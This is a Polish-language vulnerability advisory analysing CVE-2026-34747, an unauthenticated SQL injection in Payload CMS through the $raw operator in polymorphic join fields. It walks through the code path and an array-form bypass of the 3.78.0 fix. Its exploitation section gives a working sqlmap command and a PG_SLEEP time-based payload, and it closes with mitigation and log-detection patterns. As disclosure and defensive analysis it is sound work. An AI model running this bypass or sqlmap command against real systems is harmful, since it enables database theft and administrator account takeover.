Wprowadzenie

Payload to open-source CMS oparty na Next.js, który w ramach zapytań wykorzystuje zagnieżdżone operatory filtrów dla pól kolekcji oraz pól join.

Pole join w Payload to takie, które pobiera rekordy z danej kolekcji, na przykład Posts przypisane do danej Category. Polimorficzny join to taki, którego powiązane rekordy mogą pochodzić z kilku kolekcji (np. Posts, Pages lub Products), a nie tylko z jednej kategorii.

Implementacja polimorficznego pola join w wersjach poprzedzających 3.79.1 zachowuje operatory kontrolowane przez atakującego od qs.parse() aż do endpointu sql.raw() w Drizzle.

Każda instancja udostępniająca publicznie odczytywalną kolekcję z polimorficznym polem join jest osiągalna bez uwierzytelnienia. Pojedyncze żądanie HTTP umieszcza dostarczony przez atakującego ciąg SQL w prepared statement wykonującym zapytanie względem bazy danych.


Szczegóły Podatności

Pole Wartość
CVE ID CVE-2026-34747
Krytyczność High
Wynik CVSS 3.1 8.5
Wersje podatne Payload < 3.79.1
Wektor ataku Sieciowy, HTTP GET/POST do API REST
Wymagane uwierzytelnienie Brak (publiczna kolekcja + polimorficzne pole join)
Data publikacji 30 marca 2026

Analiza Techniczna

W trakcie przetwarzania żądania parser akceptuje dowolne zagnieżdżone operatory zapytania, sanitizer pola join pozostawia kontrolowany przez użytkownika obiekt where bez zmian, a walidacja odrzuca nieznane operatory tylko wtedy, gdy ich wartość nie jest obiektem. Następnie endpoint Drizzle przekształca wartość $raw w bezpośrednie wywołanie sql.raw(), które silnik bazy danych ostatecznie interpretuje jako składnię SQL zamiast jako parametr zapytania.

Parser zapytań zachowuje zagnieżdżony operator

Wstępnie, zapytanie użytkownika jest przetwarzane za pomocą qs.parse() w pliku packages/payload/src/utilities/createPayloadRequest.ts:

// utilities/createPayloadRequest.ts
const query = queryToParse
  ? qs.parse(queryToParse, {
      arrayLimit: 1000,
      depth: 10,
      ignoreQueryPrefix: true,
    })
  : {}

qs (qs-esm) to powszechnie używana biblioteka Node.js do parsowania query stringów. Notację nawiasów kwadratowych odczytuje jako zagnieżdżoną strukturę. a[b][c]=1 staje się { a: { b: { c: '1' } } }, natomiast zastosowanie indeku liczbowego takiego jak a[b][0]=1 daje tablicę ({ a: { b: ['1'] } }).

Zagnieżdżona forma filtra w postaci:

?joins[children][where][id][$raw]=true

zostaje zamieniona na uporządkowany obiekt zanim nastąpi jakikolwiek proces walidacji jego zawartości:

{
  "joins": {
    "children": {
      "where": {
        "id": {
          "$raw": "true"
        }
      }
    }
  }
}

Na tym etapie niebezpieczny operator $raw i jego zawartość stają się elementem sparsowanego filtra, który będzie dalej przetwarzany.

Sanityzacja join nie usuwa nieznanych operatorów

Po tym, jak createPayloadRequest zbuduje żądanie, sparsowane zapytanie jest przechowywane w req.query. Handler findHandler przekazuje ten obiekt przez parseParams(), który kieruje element joins do sanitizeJoinParams(). Funkcja ta jest zdefiniowana w pliku collections/endpoints/find.ts:

// utilities/parseParams/index.ts
if ('joins' in params) {
  parsedParams.joins = sanitizeJoinParams(params.joins as JoinParams)
}

Wbrew nazwie, sanitizeJoinParams() jest konwerterem typów, a nie filtrem bezpieczeństwa. Opis tej funkcji brzmi: "Convert request JoinQuery object from strings to numbers." Dla każdego pola join funkcja konstruuje nowy obiekt zawierający tylko count, limit, page, sort oraz where, konwertując tekstowe wartości liczbowe na liczby, a "true"/"false" na wartości typu boolean.

Pole where jest jednak zwracane w niezmienionej postaci:

// utilities/sanitizeJoinParams.ts
joinQuery[schemaPath] = {
  count: joins[schemaPath].count === 'true',
  limit: isNumber(joins[schemaPath]?.limit) ? Number(joins[schemaPath].limit) : undefined,
  page:  isNumber(joins[schemaPath]?.page)  ? Number(joins[schemaPath].page)  : undefined,
  sort:  joins[schemaPath]?.sort  ? joins[schemaPath].sort  : undefined,
  where: joins[schemaPath]?.where ? joins[schemaPath].where : undefined,   // [!] brak zmian
}

Na żadnym etapie nie ma rekurencyjnego przejścia przez where, nie ma listy dozwolonych kluczy ani filtrowania operatorów. Cokolwiek zostało zwrócone przez qs.parse(), w tym { id: { $raw: "true" } } lub { id: { $raw: ["true"] } }, przechodzi dalej bez zmian. Operator $raw pozostaje bez zmian, ponieważ kod nigdy nie sprawdza, co znajduje się wewnątrz where.

Walidacja w 3.78.0 jest wrażliwa na reprezentację

Kolejny etap dokonuje walidacji filtrów pod kątem dozwolonych operatorów, zanim zostaną przekazane do warstwy bazy danych. Poprawka zaimplementowana w wersji 3.78.0 zawiera dodatkową walidację, której zadaniem jest zatrzymanie nieznanych operatorów:

// database/queryValidation/validateQueryPaths.ts
} else if (!Array.isArray(constraint)) {
  for (const operator in constraint) {
    const val = constraint[operator as keyof typeof constraint]
    if (validOperatorSet.has(operator as Operator)) {
      // . . .
      // walidacja dozwolonych operatorów
      // . . .
    } else if (typeof val !== 'object' || val === null) { // poprawka 3.78.0: ta walidacja nie istniała w 3.77.0
      errors.push({ path: `${path}.${operator}` })
    }
  }
}

Z założenia sprawdzenie odrzuca nieznane operatory. W praktyce odrzucenie zachodzi tylko wtedy, gdy wartość operatora nie jest obiektem. W JavaScript tablice spełniają warunek typeof value === 'object', więc tablicowa postać zapytania przechodzi walidację bez zmian:

joins[children][where][id][$raw]=true          # postać skalarna — odrzucana w 3.78.0
joins[children][where][id][$raw][0]=true       # postać tablicowa — wciąż akceptowana

Wynika to z faktu, że qs.parse() zamienia drugą postać na:

{ "$raw": ["true"] }

Dla takiej wartości warunek typeof val !== 'object' jest fałszywy, więc nie zostaje zgłoszony żaden błąd walidacji.

Poprawka w 3.78.0 była wrażliwa na reprezentację: odrzucała niebezpieczny operator na podstawie postaci danych wejściowych, pozostawiając niezmieniony niebezpieczny endpoint.

Endpoint umieszcza złośliwą wartość w zapytaniu SQL

Krytyczny etap znajduje się w pliku packages/drizzle/src/find/traverseFields.ts, w którym adapter Drizzle tłumaczy operatory zapytań na zapytania do bazy SQL. Przed wersją 3.79.1 kod ten wywoływał sql.raw() z wartością operatora $raw bez sprawdzania jej typu:

// drizzle/src/find/traverseFields.ts
if (payloadOperator === '$raw') {
  return sql.raw(value)
}

sql.raw() to funkcja pomocnicza z drizzle-orm służąca do wstawiania tekstu bezpośrednio do zapytania. String, który otrzymuje ta funkcja, staje się częścią zapytania SQL parsowanego przez bazę danych. Baza danych traktuje go jako kod SQL, a nie jako wartość filtra.

Wewnętrznie sql.raw() jest prostym wrapperem, który przekazuje swój argument do konstruktora StringChunk:

// drizzle-orm/src/sql/sql.ts — function raw
export function raw(str: string): SQL {
  return new SQL([new StringChunk(str)]);
}

Jednoelementowa tablica taka jak ["payload"] jest normalizowana przez ten konstruktor do tej samej postaci, co string "payload":

// drizzle-orm/src/sql/sql.ts — class StringChunk
constructor(value: string | string[]) {
  this.value = Array.isArray(value) ? value : [value];
}

W wersji 3.78.0 warstwa walidacji traktowała te dwie reprezentacje odmiennie, ale endpoint traktował je jako równoważne. Gdy operator $raw pokonał wcześniejsze warstwy, adapter przestał interpretować dane wejściowe jako wartość, a zaczął traktować je jako składnię SQL.

Atakujący kontroluje zapytanie SQL trafiające do bazy danych przez polimorficzne pole join. Endpoint wywołuje sql.raw(value) bez jakichkolwiek zabezpieczeń. Wartość trafia wprost do zapytania SQL, a jej typ nie jest weryfikowany.


Eksploitacja

Podatność można potwierdzić jednym żądaniem HTTP. Tablicowa postać operatora jest wymagana do obejścia walidacji w 3.78.0. W przypadku 3.77.0 obie postaci są poprawne.

Poniższa demonstracja została przeprowadzona z wykorzystaniem instancji Payload korzystającej z bazy PostgreSQL.

sqlmap one-shot

sqlmap -u "https://[target.host]/api/[collection]?joins[children][where][id][\$raw][0]=*" \
       --method GET -p "joins[children][where][id][\$raw][0]" \
       --dbms PostgreSQL --technique=T \
       --level 5 --risk 3 --batch --force-ssl --threads=10

sqlmap potwierdza skuteczność ataku typu time-based blind z perspektywy nieuwierzytelnionej, bez wcześniejszej sesji, próby logowania ani danych uwierzytelniających.

Parameter: joins[children][where][id][$raw][0] ((custom) GET)
    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: joins[children][where][id][$raw][0]=1 AND 5067=(SELECT 5067 FROM PG_SLEEP(5))

Powyższy wynik potwierdza możliwość przeprowadzenia ataku SQL Injection typu time-based blind poprzez wykorzystanie tablicowej postaci operatora $raw, umożliwiającego ekstrakcję informacji z bazy danych.


Wpływ Podatności

  • Pełen odczyt bazy danych: Pojedyncze nieuwierzytelnione żądanie HTTP pozwala na odczyt dowolnej kolumny dowolnej tabeli dostępnej w bazie danych, w tym tabeli users oraz danych sesji użytkowników.
  • Przejęcie konta administratora: Hashe bcrypt poświadczeń administratora oraz salt znajdujące się w tabeli users umożliwiają łamanie offline po wyeksfiltrowaniu odpowiednich kolumn.
  • Wysokie prawdopodobieństwo eksploitacji: Jeśli udostępniona jest publicznie odczytywalna kolekcja z polimorficznym polem join, atak nie wymaga uwierzytelnienia.

Mitygacja i Naprawa

  • Natychmiastowa aktualizacja: Zaktualizuj każde wdrożenie Payload CMS w zakresie wersji podatnych do wydania 3.79.1, które zawiera oficjalną poprawkę. Wersja 3.78.0 w pełni nie usuwa tej podatności.
  • Sprawdź obecność poprawki: W wersji 3.79.1 walidacja w validateQueryPaths() odrzuca każdy nieznany operator, bez względu na to, jakiego typu jest jego wartość. Funkcja buildSQLWhere() po napotkaniu operatora $raw przerywa swoje działanie, jeśli wartość nie jest stringiem, dzięki czemu sql.raw() nie zostaje wywołane.
  • Rotacja danych uwierzytelniających i sesji: Zresetuj hasła administratorów, dokonaj rotacji kluczy API oraz unieważnij wszystkie aktywne sesje. Przyjmij, że każda upubliczniona instancja sprzed wersji 3.79.1 z publicznym polimorficznym polem join została skompromitowana.
  • Audyt logów: Monitoruj żądania zawierające joins[...][where][...][$raw] (z [0] lub bez), pg_sleep(, SELECT, UNION lub BENCHMARK( w zapytaniu, a także te wykazujące czasy odpowiedzi znacznie wyższe niż standardowy czas odpowiedzi tego endpointa.

Źródła